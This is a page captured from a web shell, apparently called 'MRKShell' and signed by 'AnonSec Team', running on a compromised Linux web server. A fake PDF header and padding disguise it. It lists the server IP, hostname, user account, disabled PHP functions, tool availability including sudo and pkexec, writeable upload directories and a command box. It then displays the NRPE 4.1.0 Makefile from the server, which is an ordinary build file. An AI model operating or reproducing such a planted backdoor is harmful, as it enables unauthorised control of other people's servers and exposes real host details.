...........................................................................................................................................................................................................................................................................................................................@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%PDF-1.5 MRK IS HERE %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY MR K IS HERE
MRKShell
Server IP : 65.108.66.160  /  Your IP : 216.73.217.50
Web Server : Apache
System : Linux srv16.asso.com.ar 4.18.0-553.123.1.el8_10.x86_64 #1 SMP Tue May 5 04:00:43 EDT 2026 x86_64
User : alasaweborg ( 1047)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/nagios_install/nrpe-nrpe-4.1.0/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/thread-self/root/nagios_install/nrpe-nrpe-4.1.0/Makefile
###############################
#
#  NRPE Makefile
#
###############################

# Source code directories
SRC_BASE=./src/
SRC_INCLUDE=./include/

# Mainly used for rpmbuild
# DESTDIR=

CC=gcc
CFLAGS=-g -O2 -I/usr/include/krb5   -DHAVE_CONFIG_H
LDFLAGS=    -lssl -lcrypto  

INSTALL=/usr/bin/install -c
GREP=/usr/bin/grep
EGREP=/usr/bin/grep -E

prefix=$(DESTDIR)/usr/local/nagios
exec_prefix=$(DESTDIR)/usr/local/nagios
CFGDIR=$(DESTDIR)/etc/nagios/
BINDIR=$(DESTDIR)/usr/local/nagios/bin
SBINDIR=$(DESTDIR)/usr/local/nagios/bin
LIBEXECDIR=$(DESTDIR)/usr/local/nagios/libexec
NAGIOS_INSTALL_OPTS=-o nagios -g nagios
NRPE_INSTALL_OPTS=-o nagios -g nagios
OPSYS=linux
DIST=rhel
NRPE_USER=nagios
NRPE_GROUP=nagios
NAGIOS_USER=nagios
NAGIOS_GROUP=nagios

INIT_TYPE=systemd
INIT_DIR=$(DESTDIR)/usr/lib/systemd/system
INIT_OPTS=-o root -g root
INIT_FILE=nrpe.service
INETD_TYPE=systemd
INETD_DIR=$(DESTDIR)/usr/lib/systemd/system
INETD_FILE=nrpe.socket
SRC_INETD=default-socket
SRC_INIT=default-service


default:
	@echo;\
	echo Please enter 'make [option]' where [option] is one of:;\
	echo;\
	echo "     all                  builds nrpe and check_nrpe";\
	echo "     nrpe                 builds nrpe only";\
	echo "     check_nrpe           builds check_nrpe only";\
	echo "     install-groups-users add the users and groups if they do not exist";\
	echo "     install              install nrpe and check_nrpe";\
	echo "     install-plugin       install the check_nrpe plugin";\
	echo "     install-daemon       install the nrpe daemon";\
	echo "     install-config       install the nrpe configuration file";\
	echo "     install-inetd        install the startup files for inetd, launchd, etc.";\
	echo "     install-init         install the startup files for init, systemd, etc.";\
	echo

all:
	cd $(SRC_BASE); $(MAKE)

	@echo "";\
	echo "*** Compile finished ***";\
	echo "";\
	echo "You can now continue with the installation or upgrade process.";\
	echo "";\
	echo "Read the PDF documentation (docs/NRPE.pdf) for information on the next";\
	echo "steps you should take to complete the installation or upgrade.";\
	echo ""

nrpe:
	cd $(SRC_BASE); $(MAKE)

check_nrpe:
	cd $(SRC_BASE); $(MAKE)

install-plugin:
	cd $(SRC_BASE); $(MAKE) $@

install-daemon:
	cd $(SRC_BASE); $(MAKE) $@

install:
	cd $(SRC_BASE); $(MAKE) $@

install-init:
	@if test $(SRC_INIT) = unknown; then \
		echo No init file to install; \
		exit 1; \
	fi
	@if test $(INIT_TYPE) = upstart; then\
		echo $(INSTALL) -m 644 startup/$(SRC_INIT) $(INIT_DIR)/$(INIT_FILE); \
		$(INSTALL) -m 644 startup/$(SRC_INIT) $(INIT_DIR)/$(INIT_FILE); \
		echo initctl reload-configuration; \
		initctl reload-configuration; \
	elif test $(INIT_TYPE) = systemd; then\
		echo $(INSTALL) -m 644 startup/$(SRC_INIT) $(INIT_DIR)/$(INIT_FILE); \
		$(INSTALL) -m 644 startup/$(SRC_INIT) $(INIT_DIR)/$(INIT_FILE); \
	elif test $(INIT_TYPE) = smf10 -o $(INIT_TYPE) = smf11; then \
		echo $(INSTALL) -m 775 -g sys -d $(INIT_DIR);\
		$(INSTALL) -m 775 -g sys -d $(INIT_DIR);\
		echo $(INSTALL) -m 644 startup/$(SRC_INIT) $(INIT_DIR)/$(INIT_FILE); \
		$(INSTALL) -m 644 startup/$(SRC_INIT) $(INIT_DIR)/$(INIT_FILE); \
		echo svccfg import $(INIT_DIR)/$(INIT_FILE); \
		svccfg import $(INIT_DIR)/$(INIT_FILE); \
		echo "*** Run 'svcadm enable nrpe' to start it"; \
	elif test $(INIT_TYPE) = gentoo; then\
		$(INSTALL) -m 755 startup/$(SRC_INIT) $(INIT_DIR)/$(INIT_FILE); \
		echo rc-update add nrpe default; \
		rc-update add nrpe default; \
	else\
		echo $(INSTALL) -m 755 startup/$(SRC_INIT) $(INIT_DIR)/$(INIT_FILE); \
		$(INSTALL) -m 755 startup/$(SRC_INIT) $(INIT_DIR)/$(INIT_FILE); \
		if test $(INIT_TYPE) = newbsd; then\
			if test $(DIST) = openbsd; then\
				echo "# nrpe=NO" >> /etc/rc.conf;\
				echo "nrpe=\"-d -c $(CFGDIR)/nrpe.cfg\"" >> /etc/rc.conf;\
				echo "Make sure to enable the nrpe daemon";\
			else\
				echo "nrpe=YES" >> /etc/rc.conf;\
				echo "nrpe_configfile=$(CFGDIR)/nrpe.cfg" >> /etc/rc.conf;\
			fi;\
		elif test $(INIT_TYPE) = launchd; then\
			launchctl load $(INIT_DIR)/$(INIT_FILE); \
		else\
			if test -f /sbin/chkconfig ; then \
			    case "$(DESTDIR)" in */rpmbuild/*) break;; \
			    *)/sbin/chkconfig nrpe on;; \
			    esac; \
			else\
				echo "Make sure to enable the nrpe daemon";\
			fi;\
		fi;\
	fi

install-inetd:
	@if test $(SRC_INETD) = unknown; then \
		echo No inetd file to install; \
		exit 1; \
	fi
	@if test $(INETD_TYPE) = inetd; then \
		$(EGREP) -q "^\W*nrpe\s+" $(INETD_DIR)/$(INETD_FILE) 2>/dev/null || \
		   cat startup/$(SRC_INETD) >> $(INETD_DIR)/$(INETD_FILE); \
	elif test $(INETD_TYPE) = systemd; then \
		SRC_INETD_FILE=`echo "$(SRC_INETD)" | sed -e 's/socket/socket-svc/'`; \
		echo $(INSTALL) -m 644 startup/$$SRC_INETD_FILE $(INETD_DIR)/$(INIT_FILE); \
		$(INSTALL) -m 644 startup/$$SRC_INETD_FILE $(INETD_DIR)/$(INIT_FILE); \
	elif test $(INETD_TYPE) = smf10 -o $(INETD_TYPE) = smf11; then \
		echo $(INSTALL) -m 775 -g sys -d $(INETD_DIR);\
		$(INSTALL) -m 775 -g sys -d $(INETD_DIR);\
		echo $(INSTALL) -m 644 startup/$(SRC_INETD) $(INETD_DIR)/$(INETD_FILE); \
		$(INSTALL) -m 644 startup/$(SRC_INETD) $(INETD_DIR)/$(INETD_FILE); \
		$(INSTALL) -m 775 -d $(INETD_DIR);\
		echo svccfg import $(INETD_DIR)/$(INETD_FILE); \
		svccfg import $(INETD_DIR)/$(INETD_FILE); \
		echo "*** Run 'svcadm enable nrpe' to start it"; \
	elif test $(INIT_TYPE) = launchd; then\
		$(INSTALL) -m 644 startup/$(SRC_INETD) $(INETD_DIR)/$(INETD_FILE); \
		launchctl load $(INETD_DIR)/$(INETD_FILE); \
	else\
		echo $(INSTALL) -m 644 startup/$(SRC_INETD) $(INETD_DIR)/$(INETD_FILE); \
		$(INSTALL) -m 644 startup/$(SRC_INETD) $(INETD_DIR)/$(INETD_FILE); \
	fi
	@$(EGREP) -q "^nrpe[\t ]+5666/tcp" /etc/services || \
		echo "***** MAKE SURE 'nrpe 5666/tcp' IS IN YOUR /etc/services FILE"

install-config:
	$(INSTALL) -m 775 $(NAGIOS_INSTALL_OPTS) -d $(CFGDIR)
	$(INSTALL) -m 644 $(NRPE_INSTALL_OPTS) sample-config/nrpe.cfg $(CFGDIR)

install-groups-users:
	@macros/add_group_user $(DIST) $(NAGIOS_USER) $(NAGIOS_GROUP)
	@if test "$(NAGIOS_USER)" != "$(NRPE_USER)" -o "$(NAGIOS_GROUP)" != "$(NRPE_GROUP)"; then\
		macros/add_group_user $(DIST) $(NRPE_USER) $(NRPE_GROUP);\
	fi

clean:
	cd $(SRC_BASE); $(MAKE) $@; cd ..
	rm -f core
	rm -f *~ */*~

distclean: clean
	cd $(SRC_BASE); $(MAKE) $@; cd ..
	rm -rf autom4te.cache
	rm -f config.log config.status config.cache sample-config/nrpe.cfg $(SRC_INCLUDE)/config.h
	rm -f startup/bsd-init startup/debian-init startup/default-init startup/default-inetd
	rm -f startup/default-service startup/default-socket startup/default-socket-svc
	rm -f startup/default-xinetd startup/mac-init.plist startup/mac-inetd.plist
	rm -f startup/newbsd-init startup/openbsd-init startup/openrc-conf
	rm -f startup/openrc-init startup/rh-upstart-init startup/solaris-init.xml
	rm -f startup/solaris-inetd.xml startup/tmpfile.conf startup/upstart-init
	rm -f nrpe.spec uninstall include/common.h
	rm -f Makefile

devclean: distclean


Anon7 - 2022
AnonSec Team